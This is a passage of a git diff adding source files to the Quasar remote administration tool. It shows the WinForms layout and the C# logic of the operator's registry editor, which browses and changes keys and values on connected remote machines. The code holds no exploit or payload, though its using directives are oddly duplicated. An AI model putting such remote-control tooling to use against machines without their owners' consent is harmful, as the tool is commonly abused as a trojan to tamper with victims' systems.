this.modifyToolStripMenuItem.Click += new System.EventHandler(this.modifyRegistryValue_Click); + // + // modifyBinaryDataToolStripMenuItem + // + this.modifyBinaryDataToolStripMenuItem.Enabled = false; + this.modifyBinaryDataToolStripMenuItem.Name = "modifyBinaryDataToolStripMenuItem"; + this.modifyBinaryDataToolStripMenuItem.Size = new System.Drawing.Size(215, 24); + this.modifyBinaryDataToolStripMenuItem.Text = "Modify Binary Data..."; + this.modifyBinaryDataToolStripMenuItem.Click += new System.EventHandler(this.modifyBinaryDataRegistryValue_Click); + // + // modifyToolStripSeparator1 + // + this.modifyToolStripSeparator1.Name = "modifyToolStripSeparator1"; + this.modifyToolStripSeparator1.Size = new System.Drawing.Size(212, 6); + // + // deleteToolStripMenuItem1 + // + this.deleteToolStripMenuItem1.Name = "deleteToolStripMenuItem1"; + this.deleteToolStripMenuItem1.Size = new System.Drawing.Size(215, 24); + this.deleteToolStripMenuItem1.Text = "Delete"; + this.deleteToolStripMenuItem1.Click += new System.EventHandler(this.deleteRegistryValue_Click); + // + // renameToolStripMenuItem1 + // + this.renameToolStripMenuItem1.Name = "renameToolStripMenuItem1"; + this.renameToolStripMenuItem1.Size = new System.Drawing.Size(215, 24); + this.renameToolStripMenuItem1.Text = "Rename"; + this.renameToolStripMenuItem1.Click += new System.EventHandler(this.renameRegistryValue_Click); + // + // lst_ContextMenuStrip + // + this.lst_ContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.newToolStripMenuItem1}); + this.lst_ContextMenuStrip.Name = "lst_ContextMenuStrip"; + this.lst_ContextMenuStrip.Size = new System.Drawing.Size(109, 28); + this.lst_ContextMenuStrip.ForeColor = System.Drawing.Color.White; + // + // newToolStripMenuItem1 + // + this.newToolStripMenuItem1.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.keyToolStripMenuItem1, + this.toolStripSeparator4, + this.stringValueToolStripMenuItem1, + this.binaryValueToolStripMenuItem1, + this.dWORD32bitValueToolStripMenuItem1, + this.qWORD64bitValueToolStripMenuItem1, + this.multiStringValueToolStripMenuItem1, + this.expandableStringValueToolStripMenuItem1}); + this.newToolStripMenuItem1.Name = "newToolStripMenuItem1"; + this.newToolStripMenuItem1.Size = new System.Drawing.Size(108, 24); + this.newToolStripMenuItem1.Text = "New"; + // + // keyToolStripMenuItem1 + // + this.keyToolStripMenuItem1.Name = "keyToolStripMenuItem1"; + this.keyToolStripMenuItem1.Size = new System.Drawing.Size(253, 26); + this.keyToolStripMenuItem1.Text = "Key"; + this.keyToolStripMenuItem1.Click += new System.EventHandler(this.createNewRegistryKey_Click); + // + // toolStripSeparator4 + // + this.toolStripSeparator4.Name = "toolStripSeparator4"; + this.toolStripSeparator4.Size = new System.Drawing.Size(250, 6); + // + // stringValueToolStripMenuItem1 + // + this.stringValueToolStripMenuItem1.Name = "stringValueToolStripMenuItem1"; + this.stringValueToolStripMenuItem1.Size = new System.Drawing.Size(253, 26); + this.stringValueToolStripMenuItem1.Text = "String Value"; + this.stringValueToolStripMenuItem1.Click += new System.EventHandler(this.createStringRegistryValue_Click); + // + // binaryValueToolStripMenuItem1 + // + this.binaryValueToolStripMenuItem1.Name = "binaryValueToolStripMenuItem1"; + this.binaryValueToolStripMenuItem1.Size = new System.Drawing.Size(253, 26); + this.binaryValueToolStripMenuItem1.Text = "Binary Value"; + this.binaryValueToolStripMenuItem1.Click += new System.EventHandler(this.createBinaryRegistryValue_Click); + // + // dWORD32bitValueToolStripMenuItem1 + // + this.dWORD32bitValueToolStripMenuItem1.Name = "dWORD32bitValueToolStripMenuItem1"; + this.dWORD32bitValueToolStripMenuItem1.Size = new System.Drawing.Size(253, 26); + this.dWORD32bitValueToolStripMenuItem1.Text = "DWORD (32-bit) Value"; + this.dWORD32bitValueToolStripMenuItem1.Click += new System.EventHandler(this.createDwordRegistryValue_Click); + // + // qWORD64bitValueToolStripMenuItem1 + // + this.qWORD64bitValueToolStripMenuItem1.Name = "qWORD64bitValueToolStripMenuItem1"; + this.qWORD64bitValueToolStripMenuItem1.Size = new System.Drawing.Size(253, 26); + this.qWORD64bitValueToolStripMenuItem1.Text = "QWORD (64-bit) Value"; + this.qWORD64bitValueToolStripMenuItem1.Click += new System.EventHandler(this.createQwordRegistryValue_Click); + // + // multiStringValueToolStripMenuItem1 + // + this.multiStringValueToolStripMenuItem1.Name = "multiStringValueToolStripMenuItem1"; + this.multiStringValueToolStripMenuItem1.Size = new System.Drawing.Size(253, 26); + this.multiStringValueToolStripMenuItem1.Text = "Multi-String Value"; + this.multiStringValueToolStripMenuItem1.Click += new System.EventHandler(this.createMultiStringRegistryValue_Click); + // + // expandableStringValueToolStripMenuItem1 + // + this.expandableStringValueToolStripMenuItem1.Name = "expandableStringValueToolStripMenuItem1"; + this.expandableStringValueToolStripMenuItem1.Size = new System.Drawing.Size(253, 26); + this.expandableStringValueToolStripMenuItem1.Text = "Expandable String Value"; + this.expandableStringValueToolStripMenuItem1.Click += new System.EventHandler(this.createExpandStringRegistryValue_Click); + // + // exitToolStripMenuItem + // + this.exitToolStripMenuItem.Name = "exitToolStripMenuItem"; + this.exitToolStripMenuItem.Size = new System.Drawing.Size(116, 26); + this.exitToolStripMenuItem.Text = "Exit"; + this.exitToolStripMenuItem.Click += new System.EventHandler(this.menuStripExit_Click); + // + // fileToolStripMenuItem + // + this.fileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.exitToolStripMenuItem}); + this.fileToolStripMenuItem.Name = "fileToolStripMenuItem"; + this.fileToolStripMenuItem.Size = new System.Drawing.Size(46, 4); + this.fileToolStripMenuItem.Text = "File"; + // + // modifyToolStripMenuItem1 + // + this.modifyToolStripMenuItem1.Enabled = false; + this.modifyToolStripMenuItem1.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.modifyToolStripMenuItem1.Name = "modifyToolStripMenuItem1"; + this.modifyToolStripMenuItem1.Size = new System.Drawing.Size(229, 26); + this.modifyToolStripMenuItem1.Text = "Modify..."; + this.modifyToolStripMenuItem1.Visible = false; + this.modifyToolStripMenuItem1.Click += new System.EventHandler(this.modifyRegistryValue_Click); + // + // modifyBinaryDataToolStripMenuItem1 + // + this.modifyBinaryDataToolStripMenuItem1.Enabled = false; + this.modifyBinaryDataToolStripMenuItem1.Name = "modifyBinaryDataToolStripMenuItem1"; + this.modifyBinaryDataToolStripMenuItem1.Size = new System.Drawing.Size(229, 26); + this.modifyBinaryDataToolStripMenuItem1.Text = "Modify Binary Data..."; + this.modifyBinaryDataToolStripMenuItem1.Visible = false; + this.modifyBinaryDataToolStripMenuItem1.Click += new System.EventHandler(this.modifyBinaryDataRegistryValue_Click); + // + // modifyNewtoolStripSeparator + // + this.modifyNewtoolStripSeparator.Name = "modifyNewtoolStripSeparator"; + this.modifyNewtoolStripSeparator.Size = new System.Drawing.Size(226, 6); + this.modifyNewtoolStripSeparator.Visible = false; + // + // newToolStripMenuItem2 + // + this.newToolStripMenuItem2.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.keyToolStripMenuItem2, + this.toolStripSeparator7, + this.stringValueToolStripMenuItem2, + this.binaryValueToolStripMenuItem2, + this.dWORD32bitValueToolStripMenuItem2, + this.qWORD64bitValueToolStripMenuItem2, + this.multiStringValueToolStripMenuItem2, + this.expandableStringValueToolStripMenuItem2}); + this.newToolStripMenuItem2.Name = "newToolStripMenuItem2"; + this.newToolStripMenuItem2.Size = new System.Drawing.Size(229, 26); + this.newToolStripMenuItem2.Text = "New"; + // + // keyToolStripMenuItem2 + // + this.keyToolStripMenuItem2.Name = "keyToolStripMenuItem2"; + this.keyToolStripMenuItem2.Size = new System.Drawing.Size(253, 26); + this.keyToolStripMenuItem2.Text = "Key"; + this.keyToolStripMenuItem2.Click += new System.EventHandler(this.createNewRegistryKey_Click); + // + // toolStripSeparator7 + // + this.toolStripSeparator7.Name = "toolStripSeparator7"; + this.toolStripSeparator7.Size = new System.Drawing.Size(250, 6); + // + // stringValueToolStripMenuItem2 + // + this.stringValueToolStripMenuItem2.Name = "stringValueToolStripMenuItem2"; + this.stringValueToolStripMenuItem2.Size = new System.Drawing.Size(253, 26); + this.stringValueToolStripMenuItem2.Text = "String Value"; + this.stringValueToolStripMenuItem2.Click += new System.EventHandler(this.createStringRegistryValue_Click); + // + // binaryValueToolStripMenuItem2 + // + this.binaryValueToolStripMenuItem2.Name = "binaryValueToolStripMenuItem2"; + this.binaryValueToolStripMenuItem2.Size = new System.Drawing.Size(253, 26); + this.binaryValueToolStripMenuItem2.Text = "Binary Value"; + this.binaryValueToolStripMenuItem2.Click += new System.EventHandler(this.createBinaryRegistryValue_Click); + // + // dWORD32bitValueToolStripMenuItem2 + // + this.dWORD32bitValueToolStripMenuItem2.Name = "dWORD32bitValueToolStripMenuItem2"; + this.dWORD32bitValueToolStripMenuItem2.Size = new System.Drawing.Size(253, 26); + this.dWORD32bitValueToolStripMenuItem2.Text = "DWORD (32-bit) Value"; + this.dWORD32bitValueToolStripMenuItem2.Click += new System.EventHandler(this.createDwordRegistryValue_Click); + // + // qWORD64bitValueToolStripMenuItem2 + // + this.qWORD64bitValueToolStripMenuItem2.Name = "qWORD64bitValueToolStripMenuItem2"; + this.qWORD64bitValueToolStripMenuItem2.Size = new System.Drawing.Size(253, 26); + this.qWORD64bitValueToolStripMenuItem2.Text = "QWORD (64-bit) Value"; + this.qWORD64bitValueToolStripMenuItem2.Click += new System.EventHandler(this.createQwordRegistryValue_Click); + // + // multiStringValueToolStripMenuItem2 + // + this.multiStringValueToolStripMenuItem2.Name = "multiStringValueToolStripMenuItem2"; + this.multiStringValueToolStripMenuItem2.Size = new System.Drawing.Size(253, 26); + this.multiStringValueToolStripMenuItem2.Text = "Multi-String Value"; + this.multiStringValueToolStripMenuItem2.Click += new System.EventHandler(this.createMultiStringRegistryValue_Click); + // + // expandableStringValueToolStripMenuItem2 + // + this.expandableStringValueToolStripMenuItem2.Name = "expandableStringValueToolStripMenuItem2"; + this.expandableStringValueToolStripMenuItem2.Size = new System.Drawing.Size(253, 26); + this.expandableStringValueToolStripMenuItem2.Text = "Expandable String Value"; + this.expandableStringValueToolStripMenuItem2.Click += new System.EventHandler(this.createExpandStringRegistryValue_Click); + // + // toolStripSeparator6 + // + this.toolStripSeparator6.Name = "toolStripSeparator6"; + this.toolStripSeparator6.Size = new System.Drawing.Size(226, 6); + // + // deleteToolStripMenuItem2 + // + this.deleteToolStripMenuItem2.Enabled = false; + this.deleteToolStripMenuItem2.Name = "deleteToolStripMenuItem2"; + this.deleteToolStripMenuItem2.ShortcutKeyDisplayString = "Del"; + this.deleteToolStripMenuItem2.Size = new System.Drawing.Size(229, 26); + this.deleteToolStripMenuItem2.Text = "Delete"; + this.deleteToolStripMenuItem2.Click += new System.EventHandler(this.menuStripDelete_Click); + // + // renameToolStripMenuItem2 + // + this.renameToolStripMenuItem2.Enabled = false; + this.renameToolStripMenuItem2.Name = "renameToolStripMenuItem2"; + this.renameToolStripMenuItem2.Size = new System.Drawing.Size(229, 26); + this.renameToolStripMenuItem2.Text = "Rename"; + this.renameToolStripMenuItem2.Click += new System.EventHandler(this.menuStripRename_Click); + // + // editToolStripMenuItem + // + this.editToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.modifyToolStripMenuItem1, + this.modifyBinaryDataToolStripMenuItem1, + this.modifyNewtoolStripSeparator, + this.newToolStripMenuItem2, + this.toolStripSeparator6, + this.deleteToolStripMenuItem2, + this.renameToolStripMenuItem2}); + this.editToolStripMenuItem.Name = "editToolStripMenuItem"; + this.editToolStripMenuItem.Size = new System.Drawing.Size(49, 4); + this.editToolStripMenuItem.Text = "Edit"; + this.editToolStripMenuItem.DropDownOpening += new System.EventHandler(this.editToolStripMenuItem_DropDownOpening); + // + // tvRegistryDirectory + // + this.tvRegistryDirectory.Dock = System.Windows.Forms.DockStyle.Fill; + this.tvRegistryDirectory.ForeColor = System.Drawing.Color.White; + this.tvRegistryDirectory.HideSelection = false; + this.tvRegistryDirectory.ImageIndex = 0; + this.tvRegistryDirectory.ImageList = this.imageRegistryDirectoryList; + this.tvRegistryDirectory.Location = new System.Drawing.Point(0, 0); + this.tvRegistryDirectory.Margin = new System.Windows.Forms.Padding(4); + this.tvRegistryDirectory.Name = "tvRegistryDirectory"; + this.tvRegistryDirectory.SelectedImageIndex = 0; + this.tvRegistryDirectory.Size = new System.Drawing.Size(319, 614); + this.tvRegistryDirectory.TabIndex = 0; + this.tvRegistryDirectory.AfterLabelEdit += new System.Windows.Forms.NodeLabelEditEventHandler(this.tvRegistryDirectory_AfterLabelEdit); + this.tvRegistryDirectory.BeforeExpand += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeExpand); + this.tvRegistryDirectory.BeforeSelect += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeSelect); + this.tvRegistryDirectory.NodeMouseClick += new System.Windows.Forms.TreeNodeMouseClickEventHandler(this.tvRegistryDirectory_NodeMouseClick); + this.tvRegistryDirectory.KeyUp += new System.Windows.Forms.KeyEventHandler(this.tvRegistryDirectory_KeyUp); + // + // lstRegistryValues + // + this.lstRegistryValues.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hName, + this.hType, + this.hValue}); + this.lstRegistryValues.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstRegistryValues.ForeColor = System.Drawing.Color.White; + this.lstRegistryValues.FullRowSelect = true; + this.lstRegistryValues.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable; + this.lstRegistryValues.HideSelection = false; + this.lstRegistryValues.Location = new System.Drawing.Point(0, 0); + listViewColumnSorter2.NeedNumberCompare = false; + listViewColumnSorter2.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter2.SortColumn = 0; + this.lstRegistryValues.LvwColumnSorter = listViewColumnSorter2; + this.lstRegistryValues.Margin = new System.Windows.Forms.Padding(4); + this.lstRegistryValues.Name = "lstRegistryValues"; + this.lstRegistryValues.Size = new System.Drawing.Size(751, 614); + this.lstRegistryValues.SmallImageList = this.imageRegistryKeyTypeList; + this.lstRegistryValues.TabIndex = 0; + this.lstRegistryValues.UseCompatibleStateImageBehavior = false; + this.lstRegistryValues.View = System.Windows.Forms.View.Details; + this.lstRegistryValues.AfterLabelEdit += new System.Windows.Forms.LabelEditEventHandler(this.lstRegistryKeys_AfterLabelEdit); + this.lstRegistryValues.KeyUp += new System.Windows.Forms.KeyEventHandler(this.lstRegistryKeys_KeyUp); + this.lstRegistryValues.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick); + // + // hName + // + this.hName.Text = "Name"; + this.hName.Width = 173; + // + // hType + // + this.hType.Text = "Type"; + this.hType.Width = 104; + // + // hValue + // + this.hValue.Text = "Value"; + this.hValue.Width = 214; + // + // FrmRegistryEditor + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(1083, 701); + this.Controls.Add(this.tableLayoutPanel); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ForeColor = System.Drawing.Color.Black; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4); + this.Name = "FrmRegistryEditor"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Registry Editor []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRegistryEditor_FormClosing); + this.Load += new System.EventHandler(this.FrmRegistryEditor_Load); + this.tableLayoutPanel.ResumeLayout(false); + this.tableLayoutPanel.PerformLayout(); + this.splitContainer.Panel1.ResumeLayout(false); + this.splitContainer.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).EndInit(); + this.splitContainer.ResumeLayout(false); + this.statusStrip.ResumeLayout(false); + this.statusStrip.PerformLayout(); + this.searchPanel.ResumeLayout(false); + this.searchPanel.PerformLayout(); + this.tv_ContextMenuStrip.ResumeLayout(false); + this.selectedItem_ContextMenuStrip.ResumeLayout(false); + this.lst_ContextMenuStrip.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel; + private System.Windows.Forms.Panel searchPanel; + private System.Windows.Forms.Button btnNavigate; + private System.Windows.Forms.TextBox txtSearchPath; + private System.Windows.Forms.Label lblSearch; + private System.Windows.Forms.SplitContainer splitContainer; + private Controls.RegistryTreeView tvRegistryDirectory; + private Controls.AeroListView lstRegistryValues; + private System.Windows.Forms.StatusStrip statusStrip; + private System.Windows.Forms.ToolStripStatusLabel selectedStripStatusLabel; + private System.Windows.Forms.ImageList imageRegistryDirectoryList; + private System.Windows.Forms.ColumnHeader hName; + private System.Windows.Forms.ColumnHeader hType; + private System.Windows.Forms.ColumnHeader hValue; + private System.Windows.Forms.ImageList imageRegistryKeyTypeList; + private System.Windows.Forms.ContextMenuStrip tv_ContextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem newToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem keyToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator1; + private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator2; + private System.Windows.Forms.ToolStripMenuItem stringValueToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem binaryValueToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem dWORD32bitValueToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem qWORD64bitValueToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem multiStringValueToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem expandableStringValueToolStripMenuItem; + private System.Windows.Forms.ContextMenuStrip selectedItem_ContextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem modifyToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem modifyBinaryDataToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem1; + private System.Windows.Forms.ContextMenuStrip lst_ContextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem newToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem keyToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem stringValueToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem binaryValueToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem dWORD32bitValueToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem qWORD64bitValueToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem multiStringValueToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem expandableStringValueToolStripMenuItem1; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator4; + private System.Windows.Forms.MenuStrip menuStrip; + private System.Windows.Forms.ToolStripSeparator modifyToolStripSeparator1; + private System.Windows.Forms.ToolStripMenuItem fileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem exitToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem editToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem modifyToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem modifyBinaryDataToolStripMenuItem1; + private System.Windows.Forms.ToolStripSeparator modifyNewtoolStripSeparator; + private System.Windows.Forms.ToolStripMenuItem newToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem keyToolStripMenuItem2; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator7; + private System.Windows.Forms.ToolStripMenuItem stringValueToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem binaryValueToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem dWORD32bitValueToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem qWORD64bitValueToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem multiStringValueToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem expandableStringValueToolStripMenuItem2; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator6; + private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem2; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.cs new file mode 100755 index 0000000..3ef3414 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.cs @@ -0,0 +1,1009 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Linq; +using System.Windows.Forms; +using Microsoft.Win32; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Controls; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Extensions; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Registry; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegistryEditor : Form + { + /// + /// The client which can be used for the registry editor. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly RegistryHandler _registryHandler; + + /// + /// Holds the opened registry editor form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new registry editor form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the registry editor form. + /// + /// Returns a new registry editor form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmRegistryEditor CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmRegistryEditor f = new FrmRegistryEditor(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the registry editor form. + public FrmRegistryEditor(Client client) + { + _connectClient = client; + _registryHandler = new RegistryHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the registry editor handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _registryHandler.ProgressChanged += ShowErrorMessage; + _registryHandler.KeysReceived += AddKeys; + _registryHandler.KeyCreated += CreateNewKey; + _registryHandler.KeyDeleted += DeleteKey; + _registryHandler.KeyRenamed += RenameKey; + _registryHandler.ValueCreated += CreateValue; + _registryHandler.ValueDeleted += DeleteValue; + _registryHandler.ValueRenamed += RenameValue; + _registryHandler.ValueChanged += ChangeValue; + MessageHandler.Register(_registryHandler); + } + + /// + /// Unregisters the registry editor message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_registryHandler); + _registryHandler.ProgressChanged -= ShowErrorMessage; + _registryHandler.KeysReceived -= AddKeys; + _registryHandler.KeyCreated -= CreateNewKey; + _registryHandler.KeyDeleted -= DeleteKey; + _registryHandler.KeyRenamed -= RenameKey; + _registryHandler.ValueCreated -= CreateValue; + _registryHandler.ValueDeleted -= DeleteValue; + _registryHandler.ValueRenamed -= RenameValue; + _registryHandler.ValueChanged -= ChangeValue; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + protected override CreateParams CreateParams + { + get + { + CreateParams cp = base.CreateParams; + cp.ExStyle |= 0x02000000; //WS_EX_COMPOSITED + return cp; + } + } + + private void FrmRegistryEditor_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + if (_connectClient.Value.AccountType != "Admin") + { + MessageBox.Show( + "The client software is not running as administrator and therefore some functionality like Update, Create, Open and Delete may not work properly!", + "Alert!", MessageBoxButtons.OK, MessageBoxIcon.Warning); + } + + this.Text = WindowHelper.GetWindowTitle("Registry Editor", _connectClient); + + // signal client to retrive the root nodes (indicated by null) + _registryHandler.LoadRegistryKey(null); + } + + private void FrmRegistryEditor_FormClosing(object sender, FormClosingEventArgs e) + { + // Cancel any pending navigation + _pendingNavigationPath = null; + _currentNavigationIndex = 0; + + UnregisterMessageHandler(); + } + + private void ShowErrorMessage(object sender, string errorMsg) + { + MessageBox.Show(errorMsg, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + + #region TreeView helper functions + + private void AddRootKey(RegSeekerMatch match) + { + TreeNode node = CreateNode(match.Key, match.Key, match.Data); + node.Nodes.Add(new TreeNode()); + tvRegistryDirectory.Nodes.Add(node); + } + + private TreeNode AddKeyToTree(TreeNode parent, RegSeekerMatch subKey) + { + TreeNode node = CreateNode(subKey.Key, subKey.Key, subKey.Data); + parent.Nodes.Add(node); + if (subKey.HasSubKeys) + node.Nodes.Add(new TreeNode()); + return node; + } + + private TreeNode CreateNode(string key, string text, object tag) + { + return new TreeNode() + { + Text = text, + Name = key, + Tag = tag + }; + } + + private void AddKeys(object sender, string rootKey, RegSeekerMatch[] matches) + { + if (string.IsNullOrEmpty(rootKey)) + { + tvRegistryDirectory.BeginUpdate(); + + foreach (var match in matches) + AddRootKey(match); + + tvRegistryDirectory.SelectedNode = tvRegistryDirectory.Nodes[0]; + + tvRegistryDirectory.EndUpdate(); + } + else + { + TreeNode parent = GetTreeNode(rootKey); + + if (parent != null) + { + // Suspend layout for better performance + tvRegistryDirectory.SuspendLayout(); + tvRegistryDirectory.BeginUpdate(); + + try + { + // Add nodes in batch + TreeNode[] nodes = new TreeNode[matches.Length]; + for (int i = 0; i < matches.Length; i++) + { + var match = matches[i]; + TreeNode node = CreateNode(match.Key, match.Key, match.Data); + if (match.HasSubKeys) + node.Nodes.Add(new TreeNode()); + nodes[i] = node; + } + + parent.Nodes.AddRange(nodes); + parent.Expand(); + } + finally + { + tvRegistryDirectory.EndUpdate(); + tvRegistryDirectory.ResumeLayout(); + } + + // Continue navigation if we're in the middle of one + // Check if form is not closing before continuing + if (_pendingNavigationPath != null && !this.IsDisposed && !this.Disposing && + parent.FullPath == string.Join("\\", _pendingNavigationPath, 0, _currentNavigationIndex)) + { + ContinueNavigation(parent); + } + } + } + } + + private void CreateNewKey(object sender, string rootKey, RegSeekerMatch match) + { + TreeNode parent = GetTreeNode(rootKey); + + TreeNode node = AddKeyToTree(parent, match); + + node.EnsureVisible(); + + tvRegistryDirectory.SelectedNode = node; + node.Expand(); + tvRegistryDirectory.LabelEdit = true; + node.BeginEdit(); + } + + private void DeleteKey(object sender, string rootKey, string subKey) + { + TreeNode parent = GetTreeNode(rootKey); + + if (parent.Nodes.ContainsKey(subKey)) { + parent.Nodes.RemoveByKey(subKey); + } + } + + private void RenameKey(object sender, string rootKey, string oldName, string newName) + { + TreeNode parent = GetTreeNode(rootKey); + + if (parent.Nodes.ContainsKey(oldName)) + { + parent.Nodes[oldName].Text = newName; + parent.Nodes[oldName].Name = newName; + + tvRegistryDirectory.SelectedNode = parent.Nodes[newName]; + } + } + + /// + /// Tries to find the desired TreeNode given the full path to it. + /// + /// The full path to the TreeNode. + /// Null if an invalid name is passed or the TreeNode could not be found; The TreeNode represented by the full path. + private TreeNode GetTreeNode(string path) + { + string[] nodePath = path.Split(new char[] { '\\' }); + + TreeNode lastNode = tvRegistryDirectory.Nodes[nodePath[0]]; + if (lastNode == null) + return null; + + for (int i = 1; i < nodePath.Length; i++) + { + lastNode = lastNode.Nodes[nodePath[i]]; + if (lastNode == null) + return null; + } + return lastNode; + } + + #endregion + + #region ListView helper functions + + private void CreateValue(object sender, string keyPath, RegValueData value) + { + TreeNode key = GetTreeNode(keyPath); + + if (key != null ) + { + List valuesFromNode = ((RegValueData[])key.Tag).ToList(); + valuesFromNode.Add(value); + key.Tag = valuesFromNode.ToArray(); + + if (tvRegistryDirectory.SelectedNode == key) + { + RegistryValueLstItem item = new RegistryValueLstItem(value); + lstRegistryValues.Items.Add(item); + //Unselect all + lstRegistryValues.SelectedIndices.Clear(); + item.Selected = true; + lstRegistryValues.LabelEdit = true; + item.BeginEdit(); + } + + tvRegistryDirectory.SelectedNode = key; + } + } + + private void DeleteValue(object sender, string keyPath, string valueName) + { + TreeNode key = GetTreeNode(keyPath); + + if (key != null) + { + if (!RegValueHelper.IsDefaultValue(valueName)) + { + //Remove the values that have the specified name + key.Tag = ((RegValueData[])key.Tag).Where(value => value.Name != valueName).ToArray(); + + if (tvRegistryDirectory.SelectedNode == key) + lstRegistryValues.Items.RemoveByKey(valueName); + } + else //Handle delete of default value + { + var regValue = ((RegValueData[])key.Tag).First(item => item.Name == valueName); + + if(tvRegistryDirectory.SelectedNode == key) + { + var valueItem = lstRegistryValues.Items.Cast() + .SingleOrDefault(item => item.Name == valueName); + if (valueItem != null) + valueItem.Data = 